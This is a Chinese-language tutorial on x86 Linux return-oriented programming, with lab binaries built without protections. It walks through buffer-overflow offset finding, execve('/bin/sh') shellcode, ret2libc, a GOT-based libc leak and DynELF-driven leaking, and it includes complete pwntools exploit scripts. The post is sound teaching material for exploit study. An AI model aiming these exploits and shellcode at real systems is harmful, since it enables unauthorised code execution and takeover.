一步步学ROP系列---x86

一步步学ROP——x86

参考文章:一步一步学ROP之linux_x86篇

1
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

level1(Control Flow Hijack 程序流劫持)

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

从源码可以明显看出存在缓冲区溢出的程序漏洞

注:下面为gcc编译关于各个保护开启的问题

1
2
3
4
NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)

这里用一下命令来编译程序:
gcc -fno-stack-protector -z execstack -o level1 level1.c
更新:gcc -fno-stack-protector -z execstack -no-pie -o level1 level1.c
其中-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。要加上-no-pie参数关闭PIE程序地址随机化的保护。

1
同时我们在shell中执行:

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit

1
2
这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。(其实也没有完全关掉eip,后面讲到我们需要core dump来找ret地址)
注:感觉这个还没啥用

首先要找到eip的偏移量

直接使用gdb里面的pattern来找偏移

过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Desktop/ROP/level1
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x6c414150 ('PAAl')
ECX: 0xbffff630 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EDX: 0x100
ESI: 0x1
EDI: 0xb7fb0000 --> 0x1b2db0
EBP: 0x41514141 ('AAQA')
ESP: 0xbffff6c0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0004| 0xbffff6c4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0008| 0xbffff6c8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0012| 0xbffff6cc ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0016| 0xbffff6d0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0020| 0xbffff6d4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0024| 0xbffff6d8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
0028| 0xbffff6dc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern_offset 0x41416d41
1094806849 found at offset: 140
gdb-peda$ pattern search 0x41416d41
Registers contain pattern buffer:
EBP+0 found at offset: 136
EBX+0 found at offset: 132
EIP+0 found at offset: 140

容易知道需要填充140个字节才能到EIP地址,也就是说前面填充140个字节再加上任意地址,即会跳到该地址来执行,这就构造出来一个任意地址执行的漏洞

因为objdump都没看到有system函数,也没有调用syscall类型函数,所以这里构造一个shellcode来执行execve ("/bin/sh"),进而起shell。
汇编以及需要利用的shellcode如下(汇编与shellcode之间的转化可以用asm()与disasm():

1
2
3
4
5
6
7
8
9
10
11
12
13
# execve ("/bin/sh") 
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:

1
2
[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。

现在问题就出在如何准确找到那个return的地址,这里使用core dump的方法

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

开启之后,当出现内存错误的时候(重新执行一次程序,并输入一段pattern让程序崩溃),系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。如图:

因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 x/10s $esp-144,我们可以得到buf的地址为0xbffff5b0
红框框住的内存地址即为我们需要的ret地址0xbffff5b0(这个图中显示的是remote到127.0.0.1:10001上时候调试的,本地的也是一样的,exp也就是改一下ret地址就可以正常get到shell)

如果要把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成,命令如下:
socat TCP4-LISTEN:10001,fork EXEC:./level1
随后这个程序的IO就被重定向到10001这个端口上了,并且可以使用 nc 127.0.0.1 10001来访问我们的目标程序服务了。

因为现在目标程序是跑在socat的环境中,exp脚本除了要把p = process(’./level1’)换成p = remote(‘127.0.0.1’,10001) 之外,ret的地址还会发生改变。解决方法还是采用生成core dump的方案,然后用gdb调试core文件获取返回地址。然后我们就可以使用exp进行远程溢出啦!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python
from pwn import *

#p = process('./level1')
p = remote('127.0.0.1',10001)
#ret = 0xbffff660 #本地调试得到的ret地址
ret = 0xbffff5b0 #远程调试得到的ret地址
#注:core dump的buf地址可能会改变,需要在一段时间后执行脚本要重新计算ret值
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret)
#对ret进行编码,将地址转换成内存中的二进制存储形式

payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive() #开启交互shell

flag{easy_Contr0l_Flow_Hij@ck}

level2(Ret2libc – Bypass DEP 通过ret2libc绕过DEP(NX)护)

通过sudo cat /proc/1486/maps来查看堆栈maps等地址情况,这里看到stack的权限为rw-p,没有执行权限,而level1的栈上是有执行权限的。因此才可以在栈上执行shellcode来提权。

1
2
3
4
5
6
运行程序
ps -u #查看进程号
sudo cat /proc/1486/maps #其中1486为level2的进程号
同理查看level1的
level2:bf91d000-bf93e000 rw-p 00000000 00:00 0 [stack]
level1:bfac2000-bfae3000 rwxp 00000000 00:00 0 [stack]

或者在gdb调试过程中输入i proc mappings命令也可以擦好看当前堆栈maps等地址情况。

现在不能通过在栈上执行shellcode,但是我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。我们知道level2调用了libc.so,并且其中应该存在system地址和字符串’/bin/sh’。

如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。因此我们可以通过gdb的print和find命令来查找system和‘/bin/sh’字符串的地址

#libc.search('/bin/sh') =0xb643f43c但是结果不正确。

出现上述情况应该是EIP没有完全被关闭(猜测)
遇到问题:在找“/bin/sh”的时候出现找不到的情况
解决办法:直接find “/bin/sh”就可以找到。

1
2
3
4
5
6
7
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f59dc8 ("/bin/sh")
gdb-peda$ x /s 0xb7f59dc8
0xb7f59dc8: "/bin/sh"
gdb-peda$

我们首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,先用print system找到system的地址,然后我们直接通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e37b30以及"/bin/sh"的地址0xb7f59dc8

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef #返回地址
systemaddr=0xb7e37b30
binshaddr=0xb7f59dc8

payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。
运行结果:

flag{easy_Ret2libc_Byp@ss_DEP}

绕EIP

在同一道题目上绕EIP

开启EIP

1
2
sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space

问题:直接gcc编译的时候没有开启pie,而是用echo 2 > /proc/sys/kernel/randomize_va_space的办法来做是不会出错,但是如果使用gcc编译的时候就开启pie的话即会运行失败。地址也只是一个很小的数。这两者有什么区别???

1
2
3
4
5
6
7
8
9
10
11
12
13
第一次:
b75ab000-b775c000 r-xp 00000000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
b775c000-b775e000 r--p 001b0000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
b775e000-b775f000 rw-p 001b2000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
第二次:
b752a000-b76db000 r-xp 00000000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
b76db000-b76dd000 r--p 001b0000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
b76dd000-b76de000 rw-p 001b2000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
第三次:
b753b000-b76ec000 r-xp 00000000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
b76ec000-b76ee000 r--p 001b0000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so
b76ee000-b76ef000 rw-p 001b2000 08:01 2111903 /lib/i386-linux-gnu/libc-2.24.so

如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。
由上可见libc的起始地址不断发生改变

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们怎么才能泄露出libc.so的地址呢?方法还是有的,因为程序本身在内存中的地址并不是随机的,如图所示:

Linux内存随机化分布图

所以我们只要把返回值设置到程序本身就可执行我们期望的指令了。首先我们利用objdump来查看可以利用的plt函数和函数对应的got表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
root@bogon:~/Desktop/ROP/linux_x86# objdump -d -j .plt level2

level2: file format elf32-i386


Disassembly of section .plt:

08048300 <.plt>:
8048300: ff 35 f8 9f 04 08 pushl 0x8049ff8
8048306: ff 25 fc 9f 04 08 jmp *0x8049ffc
804830c: 00 00 add %al,(%eax)
...

08048310 <read@plt>:
8048310: ff 25 00 a0 04 08 jmp *0x804a000
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <.plt>

08048320 <__gmon_start__@plt>:
8048320: ff 25 04 a0 04 08 jmp *0x804a004
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <.plt>

08048330 <__libc_start_main@plt>:
8048330: ff 25 08 a0 04 08 jmp *0x804a008
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <.plt>

08048340 <write@plt>:
8048340: ff 25 0c a0 04 08 jmp *0x804a00c
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <.plt>
root@bogon:~/Desktop/ROP/linux_x86# objdump -R level2
#got表

level2: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT read@GLIBC_2.0
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a00c R_386_JUMP_SLOT write@GLIBC_2.0

我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plt()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。

因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。

使用ldd命令可以查看目标程序调用的so库。随后我们把libc.so拷贝到当前目录,因为我们的exp需要这个so文件来计算相对地址:

1
2
3
4
5
root@bogon:~/Desktop/ROP/linux_x86# ldd level2
linux-gate.so.1 (0xb7ffe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e23000)
/lib/ld-linux.so.2 (0x80000000)
root@bogon:~/Desktop/ROP/linux_x86# cp /lib/i386-linux-gnu/libc.so.6 ./

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')
elf = ELF('level2')

p = process('./level2')
#p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@bogon:~/Desktop/ROP/linux_x86# python level3_eip.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/root/Desktop/ROP/linux_x86/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/root/Desktop/ROP/linux_x86/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './level2': pid 2077
plt_write= 0x8048340
got_write= 0x804a00c
vulfun= 0x8048404

###sending payload1 ...###

###receving write() addr...###
write_addr=0xb7ed3cc0

###calculating system() addr and "/bin/sh" addr...###
system_addr= 0xb7e37b30
binsh_addr= 0xb7f59dc8

###sending payload2 ...###
[*] Switching to interactive mode
$ ls
core exp3.py level1.c level3_eip.py peda-session-level2.txt
exp1.py exp4.py level2 libc.so.6 socat-2.0.0-b8.tar.gz
exp2.py level1 level2_nx.py pattern.py
$

Memory Leak & DynELF - 在不获取目标libc.so的情况下进行ROP攻击

上面的例子讲到了如何通过ROP绕过x86下DEP和ASLR防护。但是我们要事先得到目标机器上的libc.so或者具体的linux版本号才能计算出相应的offset。那么如果我们在获取不到目标机器上的libc.so情况下,应该如何做呢?这时候就需要通过memory leak(内存泄露)来搜索内存找到system()的地址。
这里我们采用pwntools提供的DynELF模块来进行内存搜索。首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。leak函数一般的实现方法如下:

1
2
3
4
5
6
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

对于plt与got延迟绑定的操作详细可见我写的另外一个文章

了解其原理后我们可以来解释一下这个常见leak函数的书写。主要是用了write函数打印的操作把需要查询的地址都打印出来,形成内存泄漏,这里的payload分别的意思是(140个填充,write的plt地址,返回地址,write函数的三个参数),然后接收返回信息即可。
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF(’./level2’))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup(‘system’, ‘libc’)来得到libc.so中system()在内存中的地址。

要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。通过readelf -S level2这个命令就可以获取到bss段的地址了。

获取.bss段地址如下:

1
2
3
4
5
6
7
8
9
10
11
12
root@bogon:~/Desktop/ROP/linux_x86# readelf -S level2
There are 30 section headers, starting at offset 0x1140:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
......
[21] .dynamic DYNAMIC 08049f28 000f28 0000c8 08 WA 6 0 4
[22] .got PROGBITS 08049ff0 000ff0 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 08049ff4 000ff4 00001c 04 WA 0 0 4
[24] .data PROGBITS 0804a010 001010 000008 00 WA 0 0 4
[25] .bss NOBITS 0804a018 001018 000008 00 WA 0 0 4
......

因为我们在执行完read()之后要接着调用system(“/bin/sh”),并且read()这个函数的参数有三个,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。这个gadget非常好找,用objdump就可以轻松找到,这里使用ROPgadget来进行查找。PS:我们会在随后的章节中介绍如何用工具寻找更复杂的gadgets。
查找gadgets:
ROPgadget --binary babystack --only 'pop|ret'
或者objdump -d
结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
root@bogon:~/Desktop/ROP/linux_x86# ROPgadget --binary level2 --only 'pop|ret'
Gadgets information
============================================================
0x080483d3 : pop ebp ; ret
0x080483d2 : pop ebx ; pop ebp ; ret
0x080484bc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482fc : pop ebx ; ret
0x080484be : pop edi ; pop ebp ; ret
0x080484bd : pop esi ; pop edi ; pop ebp ; ret
0x080482db : ret

Unique gadgets found: 7

整个攻击过程如下:首先通过DynELF获取到system()的地址后,我们又通过read将“/bin/sh”写入到.bss段上,最后再调用system(.bss),执行“/bin/sh”。
最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
#vulfun_addr = 0x08048404
vulfun_addr = elf.symbols['main'] #0x804842d
bss_addr = 0x0804a018 #elf.bss()
pppr = 0x080484bd

def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
#payload1 = 'a'*140 + p32(plt_write) + p32(pppr) + p32(1) +p32(bss_addr) + p32(4)+p32(vulfun_addr)
# 两个payload都可以
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data


p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#payload2 = 'a'*140 + p32(plt_read) + p32(vulfun_addr) + p32(0) +p32(bss_addr) + p32(8)
#payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#payload必须要pppr来保持栈平衡
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
#ss = raw_input()
p.send("/bin/sh\0")
#p.send("/bin/sh\0")

p.interactive()

问题:payload2为什么一定要pppr来保持栈平衡

总结

简单学习了ROP攻击的基本原理和一些例子的解析。